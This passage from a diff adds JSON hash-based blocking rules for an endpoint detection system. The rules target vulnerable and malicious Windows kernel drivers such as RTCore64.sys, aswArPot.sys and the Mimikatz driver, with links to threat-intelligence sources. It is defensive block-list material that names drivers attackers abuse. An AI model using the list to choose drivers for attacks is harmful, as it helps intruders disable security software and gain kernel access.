+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7cfa5e10dff8a99a5d544b011f676bc383991274c693e21e3af40cf6982adb8c",
+  "comment": "Dangerous Physmem Kernel Driver (aka Se64a.Sys) [https://www.loldrivers.io/drivers/d819bee2-3bff-481f-a301-acc3d1f5fe58/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd9bcdd8-d46b-55e7-93fe-4d7892a392f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455846Z",
+  "creation_date": "2026-03-23T11:45:30.455849Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455858Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "02f63773cdd991c891e10044633630154ae6fa63dbfe9b35082e48d4924f2dde",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cda14e89-71d0-5b27-8c5d-bb97ec72303a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480526Z",
+  "creation_date": "2026-03-23T11:45:30.480528Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480533Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1eff553cab0e6db50aa18e1ea10fbc9349b7529c938df4bed580f037cddd1309",
+  "comment": "Vulnerable Kernel Driver (aka GtcKmdfBs.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cdab48d2-3808-58d5-b903-80adca284bde",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471684Z",
+  "creation_date": "2026-03-23T11:45:30.471687Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471696Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c1b41d6b91448e2409bb2f4fbf4aeb952adf373d0decc9d052277b89ba401407",
+  "comment": "Vulnerable Kernel Driver (aka AsIO.sys) [https://www.loldrivers.io/drivers/bd7e78db-6fd0-4694-ac38-dbf5480b60b9/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cdad37a0-259d-5608-9317-2ed27294edee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816264Z",
+  "creation_date": "2026-03-23T11:45:30.816266Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816271Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e8eb1c821dbf56bde05c0c49f6d560021628df89c29192058ce68907e7048994",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cdafbd2d-0afe-5cd6-85cc-0265ef6ca90e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156774Z",
+  "creation_date": "2026-03-23T11:45:31.156776Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156782Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b14e251fb2483ca4c555b4ec3ea204a04cfe2f08bdc54f27d8a0613df6a6e002",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cdb1059b-1361-5cbd-9336-640d795cb6f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472463Z",
+  "creation_date": "2026-03-23T11:45:30.472466Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472475Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "019c2955e380dd5867c4b82361a8d8de62346ef91140c95cb311b84448c0fa4f",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cdb4fece-37fe-5512-a8c7-957e4b6b653c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608688Z",
+  "creation_date": "2026-03-23T11:45:29.608690Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608695Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df0536cdaac3ccc891ae2c41d176927ddee16b0ecdc3701e3eb96b0132917003",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cdc4fb41-dc45-5953-8f3e-c3d10ed5611d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968792Z",
+  "creation_date": "2026-03-23T11:45:29.968794Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968800Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b2ad05939b0aabbdc011082fad7960baa0c459ec16a2b29f37c1fa31795a46d",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cdc5ea31-cfb1-5f2f-9220-2c5adf36d768",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457507Z",
+  "creation_date": "2026-03-23T11:45:30.457510Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457519Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db711ec3f4c96b60e4ed674d60c20ff7212d80e34b7aa171ad626eaa8399e8c7",
+  "comment": "Vulnerable Kernel Driver (aka rtkio64.sys ) [https://www.loldrivers.io/drivers/8d3f27bd-c3fd-48d0-913a-e2caa6fbd025/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cdcd8efe-f5df-5969-9372-256190f5479d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829929Z",
+  "creation_date": "2026-03-23T11:45:31.829931Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829937Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4efdce2a99b86911359011fa82c9752cfe37a69d078ed6077106cc8634ea786c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cdceea7a-3c06-5b2b-b8ee-3449e6d36deb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605539Z",
+  "creation_date": "2026-03-23T11:45:29.605541Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605549Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff9b3fc49bb3cd9a2ffea2dd8075a34908346fb8393aa2bf13aa15ac72583928",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cde47c20-b24e-5659-9c6d-e01f6eb44a47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146044Z",
+  "creation_date": "2026-03-23T11:45:32.146046Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146052Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d590ee21ef889c847c8c80efe07f91cae4390d5663e6dc7a81077efce3737249",
+  "comment": "Malicious Kernel Driver (aka kavservice.bin) [https://www.loldrivers.io/drivers/77157886-00f9-4f6e-b217-d896813b630f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cdeb9640-2df0-5908-80d3-7eeb3e36f452",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604301Z",
+  "creation_date": "2026-03-23T11:45:29.604303Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604308Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df101558cf68e3f50fb468248699e6f3938be7a893680bd4803fc2afe20bfd78",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cdebcc04-f00e-5f6f-b555-f9852bc14ad4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818381Z",
+  "creation_date": "2026-03-23T11:45:30.818383Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818388Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f13f6a4bf7711216c9e911f18dfa2735222551fb1f8c1a645a8674c1983ccea6",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cdf5ec76-327d-51e9-9d74-dc6e47b0369d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816767Z",
+  "creation_date": "2026-03-23T11:45:30.816769Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816775Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c7e5bd0090962b4f31e17ab3d1f97bd9870d23238b591a70e27a0c91db138f95",
+  "comment": "Vulnerable Kernel Driver (aka WiRwaDrv.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cdf8f987-617c-5fd1-b67c-25252b9e76ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970990Z",
+  "creation_date": "2026-03-23T11:45:29.970993Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971001Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f902d78dada1658d688b1a8aac6ef48bdf968c859149f60f6c26e5b8af4656da",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cdfa3b3a-c6c9-58cd-8450-36efac53b6e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970864Z",
+  "creation_date": "2026-03-23T11:45:29.970867Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970891Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5a9915ea7863a0d26c69402287a1afc8af360a5318b970d9b36f8820e5c9e568",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce0328e7-c8a3-5c55-9ef4-5dbb70a9e23f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460637Z",
+  "creation_date": "2026-03-23T11:45:30.460640Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460648Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "08828990218ebb4415c1bb33fa2b0a009efd0784b18b3f7ecd3bc078343f7208",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce03db4f-19d3-548d-bf13-a59b2ebf70b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473862Z",
+  "creation_date": "2026-03-23T11:45:31.473866Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473894Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4aea15c43e587f43baa437ef48bd9c70f692a35ba9510537122fa60ae6439a78",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce0489ef-6d69-5586-9fef-01796631666d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836359Z",
+  "creation_date": "2026-03-23T11:45:30.836361Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836367Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "25ed1a52146816e02d41cf3938de7174806f58aad8f1e8c0ddc3801d20e60819",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce08f2c3-e400-57c2-8498-b7ed1db2dcab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620048Z",
+  "creation_date": "2026-03-23T11:45:29.620053Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620060Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "976c015b28197ccd15f807b776f705bdf612fc622fb0a4b9901b90f180bf2f8a",
+  "comment": "Super Micro Computer dangerous update tool (aka superbmc.sys) [https://www.loldrivers.io/drivers/9074a02a-b1ca-4bfb-8918-5b88e91c04a2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce0a8a7a-2005-50b8-a2c5-aa16afd9d128",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817123Z",
+  "creation_date": "2026-03-23T11:45:30.817125Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817130Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f4dc11b7922bf2674ca9673638e7fe4e26aceb0ebdc528e6d10c8676e555d7b2",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce198238-36b3-5b91-9ad2-33c4776d41f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
